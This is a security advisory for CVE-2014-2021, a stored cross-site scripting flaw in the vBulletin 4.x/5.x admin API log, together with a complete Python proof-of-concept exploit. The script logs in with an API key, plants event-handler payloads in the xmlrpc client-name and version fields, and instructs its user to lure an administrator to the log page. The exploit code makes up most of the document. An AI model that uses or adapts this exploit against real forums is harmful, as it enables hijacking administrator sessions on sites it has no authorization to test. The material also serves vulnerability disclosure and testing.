vBulletin 5.x/4.x - Persistent XSS in AdminCP/ApiLog via xmlrpc API (Post-Aut...

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CVE-2014-2021 - vBulletin 5.x/4.x - persistent XSS in AdminCP/ApiLog via xmlrpc API (post-auth)
================================================================================================
  
Overview
--------
  
    date    :  10/12/2014
    cvss    :  4.6 (AV:N/AC:H/Au:S/C:P/I:P/A:P) base
    cwe     :  79
      
    vendor  : vBulletin Solutions
    product : vBulletin 4
    versions affected :  latest 4.x and 5.x (to date); verified <= 4.2.2  ; <= 5.0.x
            * vBulletin 5.0.5     (verified)
            * vBulletin 4.2.2     (verified)  
            * vBulletin 4.2.1     (verified)  
            * vBulletin 4.2.0 PL2 (verified)  
                  
    exploitability :
            * remotely exploitable
            * requires authentication (apikey)
            * requires non-default features to be enabled (API interface, API-Logging)
            * requires user interaction to trigger exploit (admincp - admin views logs)
                  
    patch availability (to date) :  None
  
  
Abstract
---------
   
    vBulletin 4/5 does not properly sanitize client provided xmlrpc attributes (e.g. client name)
    allowing the remote xmlrpc client to inject code into the xmlrpc API logging page. 
    Code is executed once an admin visits the API log page and clicks on the API clients name.
      
    risk:  rather low - due to the fact that you the api key is required
           you can probably use CVE-2014-2023 to obtain the api key
  
  
Details
--------
      
    vulnerable component: 
        ./admincp/apilog.php?do=viewclient
    apilog.php does not sanitize xmlrpc client provided data before passing it to
    print_label_row to generate the output page.
  
  
Proof of Concept (PoC)
----------------------
  
    see [url]https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2021[/url]
      
      
    1) prerequisites
    1.1) enable API, generate API-key
         logon to AdminCP
         goto "vBulletin API"->"API-Key" and enable the API interface, generate key
         goto "vBulletin API"->"API-Log" and enable all API logging
    2) run PoC
         edit PoC to match your TARGET, APIKEY (, optionally DEBUGLEVEL)
         run PoC, wait for SUCCESS! message
    3) trigger exploit
         logon to AdminCP
         goto "vBulletin API"->"API-Log" and hit "view"
         in search results click on "client name"
         the injected msgbox pops up
           
  
Timeline
--------
  
    2014-01-14: initial vendor contact - no reply
    2014-01-24: vendor contact - no reply
    2014-10-13: public disclosure
      
Contact
--------
  
    tintinweb - [url]https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2021[/url]
      
      
(0x721427D8)
  
  
- - -
  
  
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@author: tintinweb 0x721427D8
'''
import urllib2, cookielib, urllib, json, hashlib
  
class Exploit(object):
      
    baseurl = None
    cookies = None
      
    def __init__(self,baseurl,params, debuglevel=1):
        self.cookies = cookielib.LWPCookieJar()
        handlers = [
                    urllib2.HTTPHandler(debuglevel=debuglevel),
                    urllib2.HTTPSHandler(debuglevel=debuglevel),
                    urllib2.HTTPCookieProcessor(self.cookies)
                    ]
        self.browser = urllib2.build_opener(*handlers)
        self.baseurl=baseurl
        self.params = params
      
    def call(self,path="",data={}):
        assert(isinstance(data,dict))
        data = urllib.urlencode(data)
  
        req = urllib2.Request("%s%s"%(self.baseurl,path),data)
        req.add_header("Content-Type", "application/x-www-form-urlencoded")
  
        return self.browser.open(req)
      
    def call_json(self,path=None,data={}):
        try:
            x=self.call(path,data).read()
            print "raw_response", x
            resp =  json.loads(x)
        except urllib2.HTTPError, he:
            resp = he.read()
        return resp
  
  
    def vb_init_api(self):
        params = {'api_m':'api_init'}
        params.update(self.params)
        data = self.call_json("?%s"%(urllib.urlencode(params)))  
        self.session = data
        return data
      
    def vb_call(self, params):
        api_sig = self._vb_build_api_sig(params)
        req_params = self._vb_build_regstring(api_sig)
        params.update(req_params)
        data = self.call_json("?%s"%(urllib.urlencode(params)),data=params)
        if not isinstance(data, dict):
            return data
        if 'errormessage' in data['response'].keys():
            raise Exception(data)
        return data
  
    def _ksort(self, d):
        ret = []
        for key, value in [(k,d[k]) for k in sorted(d.keys())]:
            ret.append( "%s=%s"%(key,value))
        return "&".join(ret)
  
    def _ksort_urlencode(self, d):
        ret = []
        for key, value in [(k,d[k]) for k in sorted(d.keys())]:
            ret.append( urllib.urlencode({key:value}))
        return "&".join(ret)
  
    def _vb_build_api_sig(self, params):
        apikey = self.params['apikey']
        login_string = self._ksort_urlencode(params)
        access_token = str(self.session['apiaccesstoken'])
        client_id = str(self.session['apiclientid'])
        secret = str(self.session['secret'])
        return hashlib.md5(login_string+access_token+client_id+secret+apikey).hexdigest()
      
    def _vb_build_regstring(self, api_sig):
        params = {
                  'api_c':self.session['apiclientid'],
                  'api_s':self.session['apiaccesstoken'],
                  'api_sig':api_sig,
                  'api_v':self.session['apiversion'],
                  }
        return params
      
  
if __name__=="__main__":
    TARGET = "http://localhost:8008/sectest/vbulletin_5/api.php"
    APIKEY = "G4YvWVhp"
    DEBUGLEVEL = 0          # 1 to enable request tracking
  
    print "vBulletin 5.x / 4.x - XSS in API"
    ### 1. XSS
    '''
    vbulletin: admincp => settings: options => vbulletin API and Mobile Application Options
                        * enable vbulletin API =       yes
                        * enable API log =             yes
      
    xss in:
        1)    http://xxxx/vb/admincp/apistats.php?do=client
        2)    click on hex<video><source/**/onerror='alert(1)'>hex
        2.1)  e.g.  http://xxxx/vb/admincp/apilog.php?do=viewclient&apiclientid=1
      
    '''
    params = {'clientname':"hex<video><source/**/onerror='alert(/clientname_1/)'>hex1",
             'clientversion':"hex<video><source/**/onerror='alert(2)'>hex2",
             'platformname':"hex<video><source/**/onerror='alert(3)'>hex3",
             'platformversion':"hex<video><source/**/onerror='alert(4)'>hex4",
             'uniqueid':"hex<video><source/**/onerror='alert(5)'>hex5",
             'apikey':APIKEY} 
  
    print "[  1 ] - xss - inject alert() to admincp"
    x = Exploit(baseurl=TARGET,params=params,debuglevel=DEBUGLEVEL)
    vars = x.vb_init_api()
    print vars
      
    """
$calls = array(
    'methods' => array(
        'login_login', 'api_init'
         ),
    'login_login' => array(
        'POST' => array(
            'vb_login_username' => 'admin',
            'vb_login_password' => 'password',
        ),
    ),
    'api_init' => array(
        'sessionhash' => '{session.dbsessionhash}'
    )
);
      
    """
    print "[*] GOT SESSIONHASH:",vars.get('sessionhash','<no-sessiohash>')
      
    '''
    calls = {'methods':['api_init'],
             'api_init':{
                         'sessionhash':vars['sessionhash']
                         }}
    '''
    # just a dummy call
    x.vb_call(params={'api_m':'api_forumlist',
                      'type':'t',
                      'x':"1"})
    print "[   *] SUCCESS! - now make an admin visit %s/admincp/apilog.php?do=viewclient&apiclientid=%s to trigger the XSS :)"%("/".join(TARGET.split("/")[:-1]),vars['apiclientid'])
    print "-- quit --"